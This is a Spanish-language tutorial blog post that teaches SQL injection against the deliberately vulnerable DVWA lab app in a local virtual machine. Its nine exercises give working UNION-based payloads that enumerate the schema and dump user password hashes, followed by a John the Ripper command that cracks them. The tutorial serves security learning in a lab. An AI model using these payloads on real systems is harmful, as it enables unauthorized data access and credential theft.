De nuevo… Hola a todo@s
hoy hablare y dare unos ejemplos de SQL injection o inyección SQL, como es habitual, un poco de teoría para comenzar
Método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
Para este ejemplo manejaremos una maquina virtual que puedes descargar aqui, utilizando virtualbox, podemos importarla y realizar todo lo que veremos aquí en este post.
Una vez importada la maquina virtual, configuraremos una adaptador de red solo anfitrión para nuestra maquina virtual. Después de iniciada la MV, nos mostrara una dirección IP, la cual ingresaremos como URL dentro de un navegador en nuestro equipo anfitrión. Una vez hecho esto, el navegador nos mostrará la siguiente pantalla:
Para conocer un poco la historia y todas las funcionalidades de DVWA, aqui esta su sitio web.
el usuario y contraseña para ingresar son:
user: admin
password: password
Para este ejemplo, una vez estemos dentro de la herramienta, bajaremos los niveles de seguridad a los minimos: En el panel izquierdo: DVWA Security – low – submit
Una vez hecho esto, clickeamos en SQL Injection, ubicado en el mismo panel.
Situados aqui, comenzaremos con nuestros ejercicios:
Primer Ejercicio:
Para comenzar, digitamos 1 en el cuadro de texto
Para este ejemplo explotamos la siguiente sentencia PHP:
- $getid = «SELECT first_name, last_name FROM users WHERE user_id = ‘$id'»;
Para que sea un poco mas sencillo de ententer, la sentencia anterior, realiza un SELECT de las columnas first_name, last_name, de la tabla users donde el id del usuario es igual a = «1».
Segundo Ejercicio:
Aquí ingresamos la siguiente sentencia en el cuadro de texto:
Explotaremos una consulta realizada por MYSQL
- mysql> SELECT first_name, last_name FROM users WHERE user_id = ‘%’ or ‘0’=’0′;
Lo que sucede en este caso, es que el código injectado hace que la consulta se vuelva «verdadera», por que?
Lo que estamos haciendo es que la consulta evalue un id = % o 0 = 0, lo cual hace que la consulta se vuelva verdadera para todos los registros de la tabla, por lo tante trae todos los existentes.
En la imagen anterior, vemos los registros existentes dentro de la tabla para los campos, first_name y last_name.
Tercer Ejercicio:
Ingrese el siguiente código:
- %’ or 0=0 union select null, version() #
Para este ejemplo estamos utilizando el ejercicio anterior, uniendole a la consulta, la solicito de versión del motor de base de datos (mysql)
Vemos que la version es: 5.5.44
Cuarto Ejercicio:
El siguiente código debe ser ingresado:
- %’ or 0=0 union select null, user() #
Funciona de la misma forma que el ejercicio anterior, con la diferencia de que aquí no solicitamos la versión del motor de base de datos, sino el usuario quien lo administra
La consulta nos muestra que el usuario es : dvwa.
Quinto Ejercicio:
Ingresa el siguiente codigo:
- %’ or 0=0 union select null, database() #
De esta manera podremos conocer el nombre de la base de datos en la cual se encuentran alojados dichos registros.
Sexto Ejercicio:
- %’ and 1=0 union select null, table_name from information_schema.tables #
Aquí encontramos la información de la base de datos Information_schema, en la cual se almacena la información acerca de todas las otras bases de datos del servidor mysql
Septimpo Ejercicio:
Código a inyectar:
- %’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#
Para este ejemplo Filtramos la información anterior, solicitando las tablas existentes dentro de informtion_schema que contengan el prefijo «users»
Octavo Ejercicio:
- %’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ #
Inyectando este código, logramos mostrar todas las columnas de la tabla usuario, vemos que existen las siguientes:
user_id
first_name
last_name
user
password
avatar
Noveno Ejercicio:
Código:
- %’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Solicitamos los registros existentes en la tabla usuario, teniendo esto ya tenemos los nombre de usuario y contraseña de dichos usuarios.
Sin embargo, la contraseña se encuentra en HASH, por lo tanto utilizaremos la herramienta John the Ripper instalada en Kali, sino lo tienen su pagina -> aqui
Comenzaremos creando un archivo txt concatenando cada una de los usuarios y contraseñas de la siguiente manera:
«usuario1″:»hashContraseña2»
«usuario2″:»hashContraseña3»
«usuario3″:»hashContraseña3»
Hecho esto, guardamos nuestro archivo y ejecutamos el siguiente comando dentro de la terminar de Linux (John the Ripper)
- john –format=raw-MD5 «archivo.txt»
Utilizando el comando anterior se decifran las contraseñas almacenadas dentro la base datos, tal como se ve en la imagen anterior.
Asi terminamos los ejercicios de este post,
SQL Injection es mucho mas de lo que les acabo de mostrar, las herramientas empleadas son mucho mas grandes de lo que les mostre…
Saludos!!!
Neox!